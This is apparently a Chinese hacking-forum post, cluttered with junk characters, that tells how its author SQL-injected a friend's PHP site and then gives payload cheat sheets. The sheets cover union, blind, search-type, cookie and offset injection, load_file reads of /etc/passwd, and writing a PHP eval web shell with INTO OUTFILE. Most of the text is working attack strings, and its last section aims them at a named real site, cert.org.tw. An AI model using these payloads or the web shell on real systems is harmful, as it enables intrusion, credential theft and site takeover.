我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
5 E" \2 u5 H3 j* m1 U* c9 h" w r让我看看,既然人家开口了,我也不好拒绝,那就看看吧?5 q6 d/ l. p% ~* c/ _6 P
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。9 x# b' d* n( P+ E
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
2 x. V6 s! V* Q7 z( ]( \# s1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)& k8 s6 e- J- a/ A0 s: s0 [
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
1 h1 @- T4 R6 l7 gWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
2 o Z; C1 K9 i+ m5 t% c/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入6 O3 j7 E6 G1 b6 K2 Q; l
6 Z d2 G% R/ ~7 W% D& Q* h2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,+ k- I' e1 U8 l6 c* C* @2 w
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3 ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意# b9 F5 D6 N& [( |
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息2 R* z8 N0 ^7 i* G
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。# C; O/ Q0 J: I
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell," w6 G5 h% l4 T
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。0 G- B7 F' Q/ c2 X" A' Z
我就用的是第二个思路,
, d/ o7 E4 A3 E4 O# R1 t提交and 1=2 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables where table_schema=database() limit 0,1--
`9 W/ I3 u9 Z0 D% {& ]6 U. T6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
; N9 i% A" A- A) O, v* C3 O提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--! t. Y! H, @' ^' q
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。1 Q0 X. D8 `2 j7 F8 U2 g, T
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
7 e7 n5 U+ X; o是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
7 l/ P F3 p) v/ u/ u提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --9 k N5 Z, U* c7 ^6 w
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
" Q) N5 j7 F( i7 W8 b调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......" U/ N7 \4 X" O& q. `0 G4 `
下面是一些很普遍注入方式资料:
: |( }( P" B& G8 q8 ?0 E9 r- n& K4 H注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='% L4 i4 c/ H# D' n, U
拆半法
9 v* r1 x$ L' l" B# M' r######################################
5 Z) R) h0 n# M$ Q( ~and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。- z( J" F& m$ u! Q0 x( A% n
and exists (select * from admin)
9 r& {) |, e+ K mand exists(select id from admin)) ?; q& X7 c1 \ p4 Q
and exists(select id from admin where id=1)0 s( q/ t& E( e! ^: Z2 i! U
and exists(select id from admin where id>1) * g6 j! V! h: e6 M4 w x5 g ~1 T
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
. o, r( ?+ ?. u; yand exists (select username from admin)
& x' \1 D) W) t4 }, ]; j4 F6 wand exists (select password from admin)* `) T% I% V/ F' s M% n; H
and exists (select id from admin where len(username)<10 and id=1)
, V8 E; }1 }1 Tand exists (select id from admin where len(username)>5 and id=1)% y' [5 l: u4 C# S3 s1 m
and exists (select id from admin where len(username)=6 and id=1)8 a3 M6 ?. t& ?; ], j( M, O% u
and exists (select id from admin where len(password)<10 and id=1)3 p1 N/ C! u# F' H! Y2 M
and exists (select id from admin where len(password)>5 and id=1)/ Q9 e& E% w$ W' W% G! U% d
and exists (select id from admin where len(password)=7 and id=1)
' g9 j" _' y2 b2 g" R$ A/ |( ~* Gand (select top 1 asc(mid(username,1,1)) from admin)=971 R. ?7 O3 D. s; H5 G: @# a$ o3 e
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
* y: J% |. g/ f% y$ r L猜第二位把username,1,1改成username,2,1就可以了。
3 y) d' r9 j% \5 y. t猜密码把username改成password就OK了% Q- t: s* ]. P$ d7 N
##################################################
4 L8 \& G" v2 Z; X" i4 |搜索型注入
) @4 w8 c9 E0 w6 y##################################
7 j2 L- f- q+ l! p%' and 1=1 and '%'='
2 p. Q5 F4 o+ _4 E3 `2 D%' and exists (select * from admin) and '%'='/ W, Q8 z5 `% ^
%' and exists(select id from admin where id=1) and '%'='
* S, A3 N! {7 T%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
" k4 c* k/ j* Z: ?1 B, b%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
+ e+ M; o/ C5 A: b9 M%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
( M( y1 `! ~+ {% J) S# A这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
8 {# k+ }7 W/ X- Z4 l) x) O* @9 ^对于MSSQL数据库,后面可以吧 and '%'='换成--, R/ i9 e: F) i
还有一点搜索型注入也可以使用union语句。
6 i# F3 ` p( w5 h8 m. C########################################################, t4 n9 a4 _! b/ ^6 k( [
联合查询。
/ ]5 T' N- V* B# l7 A#####################################1 b# l1 ]2 C, J3 S- [/ K* l0 o
order by 10
- ~( M7 y2 b! E" X( N' ~9 }and 1=2 union select 1,2,3,4,5,6,7,8,9,10
3 E- p- Y# C9 I) M! R' d9 Pand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin8 m; e" { K/ `% h5 |. v4 `( ]
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
" M( B7 a! Q8 F5 ^% R很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)) c, F |+ \( v$ n
###################################
$ {* p Q9 t) c4 zcookie注入
) |# L D( c; i E$ \5 e" C###############################7 r* y( M' ?4 t3 S) K9 p
http://www.******.com/shownews.asp?id=1279 }+ \; p0 U: J! w2 l3 Z1 L
http://www.******.com/shownews.asp+ C6 ?2 c' j4 o( m* j! j
alert(="id="+escape("127"));
4 ]2 V# U* j0 u, A% O/ salert(="id="+escape("127 and 1=1"));
3 o- Y+ \2 j. Xalert(="id="+escape("127 order by 10"));
+ \1 o. q0 j# j( D& l! a8 w7 aalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));9 A5 D0 A% {: T* S& Q# H
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
( J6 X" w' ^( }) `3 t) M5 o这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
8 m- N9 X% ?- d- L###################################" Z7 ^! I$ h! }. m1 y9 y
偏移注入
& ^" Z) \8 S7 `, F###########################################################2 p, u6 H9 B; c3 ]. j/ q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
+ y; K# Q4 t. ]$ i$ Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin3 ?9 ^5 U* ?! |1 W2 M# m) w2 O7 s
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)3 `) V. N: q* G0 N
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
5 E7 x @' T' `% S, sunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id), o6 h8 M9 ^0 a. _0 ]. F/ a* X
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
& U8 B% O+ F/ x( r2 I" |, eunion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
! X# C$ k1 F" o) i- H/ ga.id=d.id)2 K) Y; s. m* Q7 W1 H
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
2 }% [" J& i! Y: g. Cand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
% J6 o# d$ e; o; G) _5 ?! r8 U
7 N5 L8 R [6 w# e3 F5 ?============================================================================================================
0 h) Q6 O. L1 m. @, I/ P' Y( J1.判断版本, ]* M7 S N. b# o
and ord(mid(version(),1,1))>51
! L* h) h2 @7 l返回正常,说明大于4.0版本,支持ounion查询3 k. A! c! l& S7 |0 |1 X
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
: H |" S4 G% q, a# D5 Zand 2=4 union select 1,2,3,4,5,6,7,8,9--' h* s+ G0 I, A
3.查看数据库版本及当前用户,
) a1 K2 |3 G. f @# ~and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
8 V1 j: L! o5 R0 O数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,- u9 y1 r' v0 @4 n) H
4.判断有没有写权限
1 P5 f' d3 n; H e q% eand (select count(*) from MySQL.user)>0-- 3 `) S( f- G8 c
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
* X4 z, {+ x' w+ M用不了这个命令,就学习土耳其黑客手法,如下3 n9 r/ r9 m ~; a- ]; s, N5 ?1 z
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--/ x6 N _/ B" Q% L* P. g
6.爆表,爆库
' S6 t: g7 C. {4 oand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
) W- x8 p! C6 u' F7.爆列名,爆表- s" z0 `$ h! c1 m4 O6 n
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
3 k0 _" k- ~+ l' q5 \2 X8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
5 _; e/ ^; @: G% i% }and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--) N/ r# u4 h8 d; i& [ t1 H' e
9.爆字段内容
0 ^- E' \1 J- i" `7 V# e& o4 j& \# uand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--3 Z: _5 q7 |( }" S; f4 t
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1-- |